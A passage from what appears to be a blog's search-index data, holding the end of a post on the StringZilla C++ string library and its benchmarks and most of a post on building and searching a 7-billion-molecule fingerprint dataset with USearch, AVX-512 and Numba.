haystack.partition(\u0026#39;:\u0026#39;); // Matching a character auto [before, match, after] = haystack.partition(\u0026#39;:\u0026#39;); // Structure unpacking auto [before, match, after] = haystack.partition(char_set(\u0026#34;:;\u0026#34;)); // Character-set argument auto [before, match, after] = haystack.partition(\u0026#34; : \u0026#34;); // String argument auto [before, match, after] = haystack.rpartition(sz::whitespaces); // Split around the last whitespace Bulk Replace Another way to know that the functionality is missing in STL is its frequency on StackOverflow and presence in Boost. Boost has a replace_all function, which is not in STL. The std::string::replace is a very different beast. It replaces one predefined string slice with the given input. The Boost function returns all occurrences of a substring with another substring, combining bulk-search functionality with several memmove or memcpy calls. StringZilla supports that out of the box.\n1 2 3 4 sz::string s = \u0026#34;hello!\u0026#34;; s.replace_all(\u0026#34;ello\u0026#34;, \u0026#34;alo\u0026#34;); // -\u0026gt; \u0026#34;halo!\u0026#34; s.replace_all(sz::char_set(\u0026#34;lo\u0026#34;), \u0026#34;a\u0026#34;); // -\u0026gt; \u0026#34;haaa!\u0026#34; s.erase_all(sz::char_set(\u0026#34;hnm\u0026#34;)); // -\u0026gt; \u0026#34;aaa!\u0026#34; Updates and Allocations Memory allocators are broken in C++, the same as in most languages. That\u0026rsquo;s not a big deal for most applications, but it is a problem in IoT and Big Data applications. The Unum stack is designed for the latter.\nIn Big Data, efficient software would always work in a memory-starved environment. Even if you have 2 TB of RAM on a CPU socket, you will reach a point where 100% is used, you can\u0026rsquo;t allocate more, but you also can\u0026rsquo;t terminate.\nThe fact that most containers in STL raise exceptions when memory allocations fail is an issue. That\u0026rsquo;s why StringZilla provides \u0026ldquo;try\u0026rdquo; versions of all allocation functions and explicitly marks all public interfaces with noexcept and noexcept(false).\n1 2 3 4 sz::string s = \u0026#34;hello!\u0026#34;; s.try_erase(3, -1); // update to \u0026#34;he!\u0026#34;, return 2 for the number of removed bytes. s.try_insert(2, \u0026#34;he\u0026#34;); // update to \u0026#34;hehe!\u0026#34; and return `true`. s.try_replace(-3, -1, \u0026#34;llo\u0026#34;); // back to \u0026#34;hello!\u0026#34; on success, return `false` otherwise. This might be a niche use case. A more common one is concatenating multiple strings together. The STL provides std::string::operator+ and std::string::append, but those are inefficient if many invocations are performed.\n1 2 std::string name, domain, tld; auto email = name + \u0026#34;@\u0026#34; + domain + \u0026#34;.\u0026#34; + tld; // 4 allocations The efficient approach would be pre-allocating the memory and copying the strings into it.\n1 2 3 std::string email; email.reserve(name.size() + domain.size() + tld.size() + 2); email.append(name), email.append(\u0026#34;@\u0026#34;), email.append(domain), email.append(\u0026#34;.\u0026#34;), email.append(tld); That\u0026rsquo;s mouthful and error-prone. StringZilla provides a more convenient concatenate function, which takes variadic arguments. It also overrides the operator| to concatenate strings lazily without any allocations.\n1 2 3 auto email = sz::concatenate(name, \u0026#34;@\u0026#34;, domain, \u0026#34;.\u0026#34;, tld); // 0 allocations auto email = name | \u0026#34;@\u0026#34; | domain | \u0026#34;.\u0026#34; | tld; // 0 allocations sz::string email = name | \u0026#34;@\u0026#34; | domain | \u0026#34;.\u0026#34; | tld; // 1 allocations Generating Random Strings Software developers often need to generate random strings for testing purposes. The STL provides std::generate and std::random_device, that can be used with StringZilla.\n1 2 3 4 5 6 7 8 sz::string random_string(std::size_t length, std::string_view alphabet) { sz::string result(length, \u0026#39;\\0\u0026#39;); static std::random_device seed_source; // Too expensive to construct every time std::mt19937 generator(seed_source()); std::uniform_int_distribution\u0026lt;std::size_t\u0026gt; distribution(1, alphabet.size()); std::generate(result.begin(), result.end(), [\u0026amp;]() { return alphabet[distribution(generator)]; }); return result; } Mouthful and slow. StringZilla provides a C native method - sz_generate and a convenient C++ wrapper - sz::generate. Similar to Python it also defines the commonly used character sets. It uses precomputed multiplication and shift tables to avoid module and division operations. Those are used to sample from the given alphabet fairly and are slow on most CPU architectures.\n1 2 3 4 5 6 7 8 auto protein = sz::string::random(300, \u0026#34;ARNDCQEGHILKMFPSTWYV\u0026#34;); // static method auto dna = sz::basic_string\u0026lt;custom_allocator\u0026gt;::random(3_000_000_000, \u0026#34;ACGT\u0026#34;); dna.randomize(\u0026#34;ACGT\u0026#34;); // `noexcept` pre-allocated version dna.randomize(\u0026amp;std::rand, \u0026#34;ACGT\u0026#34;); // pass any generator, like `std::mt19937` char uuid[36]; sz::randomize(sz::string_span(uuid, 36), \u0026#34;0123456789abcdef-\u0026#34;); // Overwrite any buffer Performance and LibC C++ is synonymous with performance. The STL is not. Every major shop in town has homegrown hash tables or prefers open-source alternatives to std::unordered_map and std::unordered_set. The std::string is not an exception. For some operations, it calls down to LibC, which is much more optimized in general but still doesn\u0026rsquo;t reach the hardware potential and doesn\u0026rsquo;t cover all the needs of the C++ class. The strstr can only be used for substring search on NULL-terminated strings. The memmem is better and can be used with std::string_view. But there is a catch - there is no reverse search in LibC. So, only one evaluation order is optimized. Let\u0026rsquo;s see the numbers for exact search performance.\nLibC C++ Standard Python StringZilla find the first occurrence of a random word from text, ≅ 5 bytes long strstr 1 x86: 7.4 \u0026centerdot; arm: 2.0 GB/s .find x86: 2.9 \u0026centerdot; arm: 1.6 GB/s .find x86: 1.1 \u0026centerdot; arm: 0.6 GB/s sz_find x86: 10.6 \u0026centerdot; arm: 7.1 GB/s find the last occurrence of a random word from text, ≅ 5 bytes long ❌ .rfind x86: 0.5 \u0026centerdot; arm: 0.4 GB/s .rfind x86: 0.9 \u0026centerdot; arm: 0.5 GB/s sz_rfind x86: 10.8 \u0026centerdot; arm: 6.7 GB/s find the first occurrence of any of 6 whitespaces 2 strcspn 1 x86: 0.74 \u0026centerdot; arm: 0.29 GB/s .find_first_of x86: 0.25 \u0026centerdot; arm: 0.23 GB/s re.finditer x86: 0.06 \u0026centerdot; arm: 0.02 GB/s sz_find_charset x86: 0.43 \u0026centerdot; arm: 0.23 GB/s find the last occurrence of any of 6 whitespaces 2 ❌ .find_last_of x86: 0.25 \u0026centerdot; arm: 0.25 GB/s ❌ sz_rfind_charset x86: 0.43 \u0026centerdot; arm: 0.23 GB/s Most benchmarks were conducted on a 1 GB English text corpus, with an average word length of 5 characters. The code was compiled with GCC 12, using glibc v2.35. The benchmarks performed on Arm-based Graviton3 AWS c7g instances and r7iz Intel Sapphire Rapids. Most modern Arm-based 64-bit CPUs will have similar relative speedups. Variance withing x86 CPUs will be larger. ¹ Unlike other libraries, LibC requires strings to be NULL-terminated. ² Six whitespace characters in the ASCII set are: \\t\\n\\v\\f\\r. Python\u0026rsquo;s and other standard libraries have specialized functions for those.\nSummarizing, StringZilla is\u0026hellip;:\n3.5x faster than LibC for substring search. 4.4x faster than STL for substring search. 16.8x faster than STL for reverse order substring search. You can read more about the SIMD tricks in the preceding articles.\nConclusion The library has a lot of \u0026ldquo;work in progress\u0026rdquo; functionality that goes far beyond the \u0026ldquo;standard needs\u0026rdquo;. It packs Levenshtein edit distances, Needleman-Wunsch alignment scores for Bioinformatics, Rabin fingerprints for fuzzy matching, and fast Radix-based sorting. As it matures, it might be worth suggesting as a new baseline implementation for the standard library of C++ and the strings in other programming languages. Until then, it\u0026rsquo;s an easy-to-install tool for performance-sensitive applications. Give it a chance and let me know if there is some functionality you would like to see in the next release 🤗\nThis week StringZilla 🦖 received a new much friendlier mascot and improved 🦀 Rust support! And if it wasn’t enough to start using it, Google is also switching to Arm-based CPUs for cloud.\n50% faster search than LibC on x86\n250% faster on Arm 💪https://t.co/hCrHAybIsZ\n\u0026mdash; Ash Vardanian (@ashvardanian) April 11, 2024 ","permalink":"https://ashvardanian.com/posts/painful-strings/","summary":"\u003cp\u003eCriticizing software is easy, yet the C++ and C standard libraries have withstood the test of time admirably.\nNevertheless, they are not perfect.\nEspecially the \u003ccode\u003e\u0026lt;string\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;string_view\u0026gt;\u003c/code\u003e, and \u003ccode\u003e\u0026lt;string.h\u0026gt;\u003c/code\u003e headers.\nThe first two alone bring in \u003ca href=\"https://artificial-mind.net/projects/compile-health/\"\u003eover 20,000 lines of code\u003c/a\u003e, slowing the compilation of every translation unit by over 100 milliseconds.\nMost of that code seems \u003cstrong\u003edated, much slower than LibC, and equally error-prone\u003c/strong\u003e, with interfaces that are very hard to distinguish.\u003c/p\u003e","title":"The Painful Pitfalls of C++ STL Strings 🧵"},{"content":" TLDR: I\u0026rsquo;ve finally finished a project that involved gathering 7 billion small molecules, each represented in SMILES notation and having fewer than 50 \u0026ldquo;heavy\u0026rdquo; non-hydrogen atoms. Those molecules were \u0026ldquo;fingerprinted\u0026rdquo;, producing 28 billion structural embeddings, using MACCS, PubChem, ECFP4, and FCFP4 techniques. These embeddings were indexed using Unum\u0026rsquo;s open-source tool USearch, to accelerate molecule search. This extensive dataset is now made available globally for free, thanks to a partnership with AWS Open Data. You can find the complete data sheet and scripts for data visualization on GitHub.\nIntroducing the \u0026ldquo;USearch Molecules\u0026rdquo; dataset!\nThis dataset is notable for its sheer size and might be one of the largest datasets of embeddings available. It encompasses approximately 2.3 TB of data across 7,000 files, housed in the s3://usearch-molecules bucket in AWS\u0026rsquo;s us-west-2 region.\n1 aws s3 ls --no-sign-request s3://usearch-molecules # to list bucket contents What sets this dataset apart is not just its size, making it a potential candidate for upcoming editions of the Big ANN Benchmark, but also its unique composition compared to typical AI-generated embeddings. In Cheminformatics, a different approach is used: subgraph-matching techniques to derive structural properties of molecule graphs, leading to binary arrays representing these features. Over the past five months of working with this and related datasets, I\u0026rsquo;ve discovered several interesting insights applicable in other areas. The development process was iterative, optimizing speed and accuracy and finding a balance between the two.\nSpeeding Up Indexing and Retrieval: Invoking AVX-512 VPOPCNTQD Assembly instruction for computing Jaccard distance, achieving a 56x speed improvement over SciPy for vectors of any length. Employing the Numba JIT compiler with bit-hacks to tune the distance metric for a specific number of dimensions in Python, further accelerating search by around 30%. Enhancing Search Accuracy with Hybrid Embeddings: Combining different embeddings to lower error rates by up to 3.5x. Developing similarity metrics with conditional thresholds to accelerate indexing and search by more than 60%, maintaining over 100,000 vectors/second throughput. Adjusting HNSW hyper-parameters to balance throughput and accuracy, achieving 99% \u0026ldquo;recall at one\u0026rdquo;, handling 3,000 requests per second over 1 billion entries. Ready to explore more? Let\u0026rsquo;s dive in!\nBackground and Motivation The inspiration for this project came from my colleagues, the creators of the BARTSmiles paper. In their research, they developed a generative Transformer model. This model can predict molecular properties using only a SMILES string. For example, consider Melatonin, a well-known molecule. Its chemical formula is C₁₃H₁₆N₂O₂, but in SMILES notation, it is represented as:\nCC(=O)NCCC1=CNc2c1cc(OC)cc2 Given such a SMILES string, the model can predict a range of molecular properties. These include Lipophilicity, which is a molecule\u0026rsquo;s tendency to combine with fats over water, and Genotoxicity, which refers to the potential of chemicals to harm cellular genetic material.\nAdditionally, the model excelled in tasks like retrosynthesis and chemical reaction prediction. This is particularly relevant to AI researchers as it parallels sequence-to-sequence modeling tasks. However, their dataset was vast and complex, posing a challenge in navigation. This is where our interests intersected and I started tuning my libraries for molecule retrieval.\nGathering Data For this project, I have compiled three datasets:\n115'034'339 molecules from the \u0026ldquo;PubChem\u0026rdquo; dataset. 977'468'301 molecules from the \u0026ldquo;GDB-13\u0026rdquo; dataset. 6'039'411'651 molecules from the Enamine \u0026ldquo;Real\u0026rdquo; dataset. In total, this amounts to over 7 billion molecules. Handling data at this scale can be challenging, as anomalies are common, and pipelines can become complicated. For instance, a simple task like reading a .smi file with newline-delimited molecule descriptions could take hours using basic Python methods:\n1 open(\u0026#34;molecules.smi\u0026#34;, \u0026#34;r\u0026#34;).readlines() To tackle this, I\u0026rsquo;ve extended my strings processing library, known as Stringzilla 🦖, covered in a previous post. Having a fast Str class and a memory-efficient Strs array addressing large memory-mapped files saved me over $10,000 in processing costs.\nUsing StringZilla, I normalized and shuffled the data, then split it into Parquet files. Each file contains up to 1 million molecules. For parsing SMILES strings into molecular graphs and computing fingerprints, I employed two libraries: RDKit in Python and Chemistry Development Kit (CDK) in Java. The result was a series of Parquet files containing the original SMILES string and multiple binary columns.\nsmiles maccs pubchem ecfp4 fcfp4 0 CNCC(C)NC(=O)C1(C(C)(C)OC)CC1 0x00000200000002002021227C488B9C02100615FFCC 0x00733000000000000000000000001800000000000000000000000000000000000000001E00100000000E6CC18006020002C004000800011010000000000000000000810800000040160080001400000636008000000000000F80000000000000000000000000000000000000000000 0x40000000000000000000800000002400000000000000000000000000000000000000001000000200000000000000000000800000000000000000000000000000000000000002000000000002000000000020000000000100000000000000000000000000010000000040000000000000000000020000000800000000000000000000000048000000000000000000000280200000000000000000020000000000000000000000000000000100000000000000020000000000000000000400000001000000000000000000000000000000010004000000000000000000000800000000000000000000800000000000000400000000000000000010000020000000 0xE0001400000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000001000401000000000000000000000000400000000000000000000001000000000000000000000100080000004000000000000000000000000000000000000000000000000000000000000000004000800000000000000000000000000001000000200000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000004000000000000000001000000000000000000000080020000004000000000000000000000000000000000000000080 1 CN(C(=O)C1=CC2=C(F)C=C(F)C=C2N1)C1CN(C(=O)CC2=CC=CN=C2O)C1 0x00900000002000004011172DAC534CE55EF3EB7FFC 0x007BB1800000000000000000000000005801600000003C400000000000000001F000001F00100800000C28C19E0C3EC4F3C99200A8033577540082802037222008D921BC6CDC0866F2C295B394710864D611C8D987BE99809E00000000000200000000000000040000000000000000 0x00000000000001000000800000200100000100000000000000000000000000020000000000000000040000000008002000000000000000808000000000000000000200000000000000000001000000000020000000000014000000001000200100000000014040000000000000104000000000020100400000000000000040100000110040000000880000200000000000100000000000000400000000000000000000000000000104040000080000000000000000080000000100000000000000000000000000042000000000004000020000000000014000004200200000000000000000008000002040000000000400800000000000000000004001000000 0xBE800000000000000001000000000000000080000000080000000000000000000000000000000000000200000000000000000000000900000000000000010000000000010000000000020000000000000000000000000000000000200000000000000080080000000000000000000000040000008000000000002000000080000000000000400004000000000000000010000000000000000000000000000000000000400000000000000014000000000008000000000000000000000000000000000800000000000000000000000400080000000000001000400000000100000000000000000040004000000000002404000000000000000002020040003180 Understanding Molecule Fingerprints Interpreting SMILES strings is not straightforward for humans or computers. A more intuitive approach is to depict molecules as a network of atoms and bonds akin to a graph. For instance, Melatonin\u0026rsquo;s structure includes an indole ring. This is a combination of a benzene ring (a hexagon shape) and a pyrrole ring (a pentagon shape).\nComparing such representation, however, is computationally expensive. In mathematical terms, this involves solving graph isomorphism and subgraph isomorphism problems. These are complex challenges known as NP-intermediate and NP-complete, respectively. Fortunately, chemists have developed heuristics to circumvent expensive isomorphism checks. In cheminformatics, a common practice is to create \u0026ldquo;fingerprints\u0026rdquo; of molecules. These fingerprints are arrays filled with zeros and ones. Each \u0026lsquo;1\u0026rsquo; in this array indicates the presence of a particular molecular feature, often a specific sub-structure.\nConsider this \u0026ldquo;MACCS Key\u0026rdquo; as an example:\n00000000000000000000000000000000000000000000000000000000000000000100000000000000001100000011110010001100110010110100111001000111000100000100001100010101111111111111110 It represents 44 set bits, each corresponding to a pattern in the \u0026ldquo;SMiles ARbitrary Target Specification\u0026rdquo; (SMARTS), including key features like:\nBenzene Ring: A six-membered aromatic ring. The SMARTS pattern #163 (*1~*~*~*~*~*~1) identifies the six-membered structure, while #162 (a) indicates its aromatic nature. Pyrrole Ring: A five-membered aromatic ring containing nitrogen, identified by #96 (*1~*~*~*~*~1) for its five-membered structure and #121 ([#7;R]) for the presence of You can use the following snippet to log the features of a specific molecule:\n1 2 3 4 5 6 7 8 from rdkit import Chem from rdkit.Chem import MACCSkeys molecule = Chem.MolFromSmiles(\u0026#39;CC(=O)NCCC1=CNc2c1cc(OC)cc2\u0026#39;) fingerprint = MACCSkeys.GenMACCSKeys(molecule) # produces MACCS fingerprint for i, x in MACCSkeys.smartsPatts.items(): # iterates through patterns if fingerprint[i]: # check if that key is enabled print(f\u0026#34;{i}: {x}\u0026#34;) # prints 44 lines Exploring Different Molecule Fingerprints In the realm of cheminformatics, various methods exist for generating molecule fingerprints. For this project, I focused on four types:\nMACCS Keys: These are Molecular ACCess System keys, featuring 166 dimensions. They provide a standard way to represent molecular structures for comparison. PubChem Fingerprints: These involve substructure fingerprints with 881 dimensions, commonly used for detailed representation in the PubChem database. ECFP4: Standing for Extended Connectivity Fingerprint of diameter 4, this method offers 2048 dimensions. It\u0026rsquo;s well-suited for capturing intricate molecular details. FCFP4: Known as Functional Class Fingerprint of diameter 4, also with 2048 dimensions, it focuses more on the functional groups within molecules. It\u0026rsquo;s also common to see ECFP and FCFP with a diameter of 6, and their sizes can vary between 1024, 2048, and 4096 bits. The FCFP\u0026rsquo;s generation process is akin to that of ECFP, but it starts by categorizing atoms into functional classes, thereby emphasizing the significance of functional groups in molecular structures. This feature is particularly beneficial in predictive modeling and similarity assessments in pharmacological research.\nDeveloping a Proof of Concept Despite their diverse origins, these fingerprints share a common ground when it comes to comparison – they are all typically evaluated using the Tanimoto coefficient, a variation of the Jaccard distance applied to bit-strings:\n$$ Jaccard(A, B) = 1 - \\frac{|A \\cap B|}{|A \\cup B|} $$\nCreating a prototype using the Jaccard distance in NumPy is straightforward.\n1 2 3 4 5 6 7 8 import numpy as np def jaccard(a: np.ndarray, b: np.ndarray) -\u0026gt; float: a = np.unpackbits(a.view(np.uint8)) b = np.unpackbits(b.view(np.uint8)) ands = np.logical_and(a, b).sum() ors = np.logical_or(a, b).sum() return 1 - ands / ors By integrating this with rdkit, we transition from molecular structures to bit-strings, applying our similarity function to molecules like melatonin, methoxyethane, and ethanol.\n1 2 3 4 5 6 7 8 9 10 11 import numpy as np from rdkit import Chem from rdkit.Chem import MACCSkeys smiles = [\u0026#39;CC(=O)NCCC1=CNc2c1cc(OC)cc2\u0026#39;, \u0026#39;CCOC\u0026#39;, \u0026#39;CCO\u0026#39;] molecules = [Chem.MolFromSmiles(x) for x in smiles] fingerprints = [np.packbits(MACCSkeys.GenMACCSKeys(x)) for x in molecules] melatonin_methoxyethane_distance = jaccard(fingerprints[0], fingerprints[1]) # 0.98 melatonin_ethanol_distance = jaccard(fingerprints[0], fingerprints[2]) # 0.99 methoxyethane_ethanol_distance = jaccard(fingerprints[1], fingerprints[2]) # 0.39 With these components in place, integrating them with the USearch vector search engine allowed us to prototype a functional search system:\n1 2 3 4 5 6 7 from usearch.index import Index, MetricKind index = Index(ndim=166, metric=MetricKind.Tanimoto) keys = [hash(\u0026#39;melatonin\u0026#39;), hash(\u0026#39;methoxyethane\u0026#39;), hash(\u0026#39;ethanol\u0026#39;)] index.add(keys, fingerprints) matches = index.search(fingerprints[-1], 1) This system successfully identified ethanol as the closest match in our index to ethanol, confirming the functionality of our prototype. Yet, our knowledge of the dataset opens doors to further optimizations, each tailored to leverage specific characteristics of the data.\nSpeed Optimizations Hardware-Specific Tuning with AVX-512 A regular reader of my \u0026ldquo;Less Slow\u0026rdquo; blog is probably thinking - \u0026ldquo;When you\u0026rsquo;re a hammer, everything looks like a nail.\u0026rdquo;\nA baseline C++ implementation of the Jaccard distance may look like this:\n1 2 3 4 5 6 7 8 9 10 #include \u0026lt;bitset\u0026gt; float jaccard(std::uint8_t const* a, std::uint8_t const* b, std::size_t words) noexcept { float and_count = 0; float or_count = 0; for (std::size_t i = 0; i != words; ++i) and_count += std::bitset\u0026lt;8\u0026gt;(a[i] \u0026amp; b[i]).count(), or_count += std::bitset\u0026lt;8\u0026gt;(a[i] | b[i]).count(); return 1 - and_count / or_count; } This will not result in the best Assembly, even using the newest compiler. Using Intel\u0026rsquo;s 4th Gen Xeon Scalable CPUs, codenamed Sapphire Rapids, we know the instructions optimal assembly will contain:\nThe vpopcntq instruction computes population counts of bit-sets in just 3 cycles. Two vmovdqu8 zmm loads can run simultaneously, taking 10 cycles. Masked loads like vmovdqu8 zmm {z} can bypass the tail loop. The bzhi instruction computes the {z} mask in only 1 CPU cycle. Instructions such as vpandd, vpord, and vpaddq each take merely 1 cycle. Here\u0026rsquo;s an example of how this looks in a production C 99 codebase using GCC intrinsics:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 __attribute__((target(\u0026#34;avx512vpopcntdq,avx512vl,avx512bw,avx512f,bmi2\u0026#34;))) inline static simsimd_f32_t simsimd_avx512_b8_jaccard(simsimd_b8_t const* a, simsimd_b8_t const* b, simsimd_size_t n_words) { __m512i intersection_vec = _mm512_setzero_si512(), union_vec = _mm512_setzero_si512(); __m512i a_vec, b_vec; simsimd_avx512_b8_jaccard_cycle: if (n_words \u0026lt; 64) { __mmask64 mask = _bzhi_u64(0xFFFFFFFFFFFFFFFF, n_words); a_vec = _mm512_maskz_loadu_epi8(mask, a); b_vec = _mm512_maskz_loadu_epi8(mask, b); n_words = 0; } else { a_vec = _mm512_loadu_epi8(a); b_vec = _mm512_loadu_epi8(b); a += 64, b += 64, n_words -= 64; } __m512i and_vec = _mm512_and_si512(a_vec, b_vec); __m512i or_vec = _mm512_or_si512(a_vec, b_vec); intersection_vec = _mm512_add_epi64(intersection_vec, _mm512_popcnt_epi64(and_vec)); union_vec = _mm512_add_epi64(union_vec, _mm512_popcnt_epi64(or_vec)); if (n_words) goto simsimd_avx512_b8_jaccard_cycle; simsimd_size_t intersection = _mm512_reduce_add_epi64(intersection_vec), union_ = _mm512_reduce_add_epi64(union_vec); return (union_ != 0) ? 1 - (simsimd_f32_t)intersection / (simsimd_f32_t)union_ : 0; } This implementation was 56 times faster than the SciPy implementation in specialized micro-benchmarks:\nSciPy distances\u0026hellip; up to 200x faster with AVX-512 \u0026amp; SVE. Python, C, Assembly - 2'500x Faster Cosine Similarity. GCC Compiler vs Human - 119x Faster Assembly. Problem-Specific Tuning with Numba Our previous implementation works well for general cases, but we can do better with more specific information. For example, with MACCS, we know our vectors are precisely 166 bits long. This can be broken down as:\n20x 8-bit words, with an additional 6 bits extending into a 21st word. 5x 32-bit words, with an additional 6 bits extending into a 6th word. Knowing these specifics, we can avoid the for loop by unrolling the iterations over 8-bit words 21 times. Alternatively, we can pad each vector to a more computationally efficient 24-byte length, using 32-bit words for faster processing. With Numba, our distance metric takes this form:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 from numba import cfunc, types, carray, njit numba_signature = types.float32(types.CPointer(types.uint32), types.CPointer(types.uint32)) @cfunc(numba_signature) def tanimoto_maccs(a, b): a_array = carray(a, 6) b_array = carray(b, 6) ands = 0 ors = 0 for i in range(6): ands += word_popcount(a_array[i] \u0026amp; b_array[i]) ors += word_popcount(a_array[i] | b_array[i]) return 1 - types.float32(ands) / ors This code needs the word_popcount function, which counts the number of set bits in a 32-bit word. A simple Python implementation might look like this:\n1 2 def word_popcount(word: int) -\u0026gt; int: return bin(word).count(\u0026#39;1\u0026#39;) On the bright side, modern CPUs can perform this operation in a single CPU cycle, and we don\u0026rsquo;t need to allocate any strings. On the other side, Numba doesn\u0026rsquo;t expose this part of LLVM functionality. So we need to use a bit-hack to implement a population count:\n1 2 3 4 5 6 @njit(\u0026#34;int_(uint32)\u0026#34;) def word_popcount(word): word = word - ((word \u0026gt;\u0026gt; 1) \u0026amp; 0x55555555) word = (word \u0026amp; 0x33333333) + ((word \u0026gt;\u0026gt; 2) \u0026amp; 0x33333333) c = types.uint32((word + (word \u0026gt;\u0026gt; 4) \u0026amp; 0xF0F0F0F) * 0x1010101) \u0026gt;\u0026gt; 24 return c Combining all these elements, we pass them to USearch as a CompiledMetric:\n1 2 3 4 5 6 7 8 9 10 from usearch.index import Index, CompiledMetric, MetricSignature, MetricKind index = Index( ndim=166, # MACCS fingerprints are 166-dimensional metric=CompiledMetric( pointer=tanimoto_maccs.address, # Pointer to our JIT-compiled function signature=MetricSignature.ArrayArray, # Only 2 arguments, the length is fixed kind=MetricKind.Tanimoto, # Metadata useful for serialization ), ) Observing the Results When we examine our results, the speed improvements are evident. Despite the absence of built-in functionality for counting set bits in bit-strings, Numba outperforms my SimSIMD library for very short strings, especially when the length is known beforehand. The speed remains consistently above 100,000 entries in both construction and search operations. This translates to approximately 3.5 billion molecules indexed or queried per hour.\nThe accuracy varies between datasets. Previous observations indicate that the order in which data is indexed can significantly affect both throughput and recall, so shuffling your data when possible is advisable. In our case, we\u0026rsquo;ve used only 166 bits of the MACCS fingerprints out of a total of 5143 bits available per molecule, accounting for just 3.2% of the data. Even so, we\u0026rsquo;ve achieved 87% recall on a 10 million molecule sample from the PubChem dataset and 97% recall on samples from GDB13 and REAL.\nIt will continue declining as we grow the dataset. So, our next step is to enhance our accuracy.\nAccuracy Improvements Enhancing Representations with Concatenated Embeddings One of our initial approaches was to combine multiple fingerprints into a single, more descriptive representation for each molecule. However, this meant that our existing implementation with Numba needed adjustments to handle varying lengths. Here\u0026rsquo;s how we adapted our method for vectors of an arbitrary length, ( X ):\n1 2 3 4 5 6 7 8 9 10 @cfunc(numba_signature) def tanimoto_x(a, b): a_array = carray(a, x) b_array = carray(b, x) ands = 0 ors = 0 for i in range(x): ands += word_popcount(a_array[i] \u0026amp; b_array[i]) ors += word_popcount(a_array[i] | b_array[i]) return 1 - types.float32(ands) / ors While this approach did enhance accuracy, it also increased the size of our index and resulted in a decrease in system throughput. For example, with the first 10 million molecules from the GDB 13 dataset, we observed the following metrics:\nMACCS ECFP4 Concatenated MACCS and ECFP4 Construction Speed 115 K 75 K 79 K Memory Usage 2.5 GB 6.5 GB 6.5 GB Search Speed 129 K 119 K 79 K Recall 96.6 % 99.3 % 99.3 % We significantly improved recall but at the cost of performance.\nImplementing Conditional Similarity Metrics To regain some performance, we employed a technique to reduce the number of bit comparisons. When working with concatenated MACCS and ECFP4 fingerprints, we first compared the MACCS section. If the similarity was below a certain threshold, only then did we proceed to compare the ECFP4 part.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 @cfunc(numba_signature) def tanimoto_conditional(a, b): threshold = 0.2 a_array = carray(a, 6 + 64) b_array = carray(b, 6 + 64) # Comparing MACCS prefix ands_maccs = 0 ors_maccs = 0 for i in range(6): ands_maccs += word_popcount(a_array[i] \u0026amp; b_array[i]) ors_maccs += word_popcount(a_array[i] | b_array[i]) maccs = 1 - types.float32(ands_maccs) / ors_maccs if maccs \u0026gt; threshold: return maccs # Comparing ECFP4 suffix ands_ecfp4 = 0 ors_ecfp4 = 0 for i in range(64): ands_ecfp4 += word_popcount(a_array[6 + i] \u0026amp; b_array[6 + i]) ors_ecfp4 += word_popcount(a_array[6 + i] | b_array[6 + i]) ecfp4 = 1 - types.float32(ands_ecfp4) / ors_ecfp4 return ecfp4 * threshold With the tanimoto_conditional metric, we managed to maintain our recall while gaining about 60% in throughput. This kept us above 100,000 queries per second across all datasets.\nAlthough the 99% recall for 10 million molecules in the GDB 13 dataset is promising, we must consider this is only 1% of the entire dataset. Extrapolating, we might expect a recall of around 87% for the full billion molecules.\nFine-Tuning HNSW Hyper-Parameters The initial step for many in data science is to tweak hyper-parameters. Our USearch Index, built on the HNSW structure, provides three key hyper-parameters: one for structure (\u0026lsquo;connectivity\u0026rsquo;) and two for the expansion factors during \u0026lsquo;add\u0026rsquo; and \u0026lsquo;search\u0026rsquo; operations. The latter allows us to balance the trade-off between search speed and accuracy. The following graph shows that as expansion factors increase, accuracy improves but the speed decreases.\nComparing these numbers with brute-force search costs is insightful. Given our advanced Assembly optimizations, the cost of similarity computations is negligible. What matters is the effective memory bandwidth, which is of the order of 200 GB/s on our machine.\nComparing only MACCS fingerprints requires fetching 21 GB of data into RAM, implying about 10 queries per second on a similar machine. Including ECFP4 increases the data to 277 GB, dropping the rate to approximately 1 query per second. However, with the HNSW index, we manage an impressive 99.41% recall at 3,728 queries per second, making just 52,560 comparisons per query on average. This is just 0.005256% of our dataset, suggesting an efficiency of 99.994744%.\nExpansion @ Search Recall @ 1 Speed @ Search Comparisons Efficiency 4 64.35 % 271,299 380 99.999962 % 16 78.52 % 193,267 670 99.999933 % 64 87.10 % 107,430 1,520 99.999848 % 256 93.76 % 40,944 4,410 99.999559 % 1024 98.06 % 12,841 14,820 99.998518 % 4096 99.41 % 3,728 52,560 99.994744 % These numbers illustrate, how easy it is to control the tradeoff between search speed and accuracy. To visually demonstrate this, we have integrated 3Dmol.js into a StreamLit-based GUI application, available in the code repository.\nIn Closing The Web is bigger than Google.\nAnd Search is bigger than the Web.\nFor those who share this view, I invite you to explore our latest search benchmarks for more conventional AI-produced embeddings and keep an eye on the upcoming USearch enhancements. Plenty are coming!\nSuppose you\u0026rsquo;re interested in delving into the datasets in a home setting without an HPC cluster or want to show cool-looking molecules to your kids on a laptop. In that case, we\u0026rsquo;ve placed a smaller \u0026ldquo;example\u0026rdquo; dataset in the S3 bucket for easier access and exploration. 🤗\n1 2 3 4 5 6 7 8 9 10 11 . └── data └── example # 1.8 GB ├── index-maccs.usearch # 329 MB ├── index-maccs-ecfp4.usearch # 817 MB ├── parquet # 30 GB │ ├── 0000000000-0001000000.parquet # 265 MB │ └── 0001000000-0002000000.parquet # 265 MB └── smiles # 30 GB ├── 0000000000-0001000000.smi # 58 MB └── 0001000000-0002000000.smi # 58 MB ","permalink":"https://ashvardanian.com/posts/usearch-molecules/","summary":"\u003cblockquote\u003e\n\u003cp\u003eTLDR: I\u0026rsquo;ve finally finished a project that involved gathering 7 billion small molecules, each represented in SMILES notation and having fewer than 50 \u0026ldquo;heavy\u0026rdquo; non-hydrogen atoms.\nThose molecules were \u0026ldquo;fingerprinted\u0026rdquo;, producing 28 billion structural embeddings, using MACCS, PubChem, ECFP4, and FCFP4 techniques.\nThese embeddings were indexed using \u003ca href=\"https://unum.cloud\"\u003eUnum\u0026rsquo;s\u003c/a\u003e open-source tool \u003ca href=\"https://github.com/unum-cloud/usearch\"\u003eUSearch\u003c/a\u003e, to accelerate molecule search.\nThis extensive dataset is now 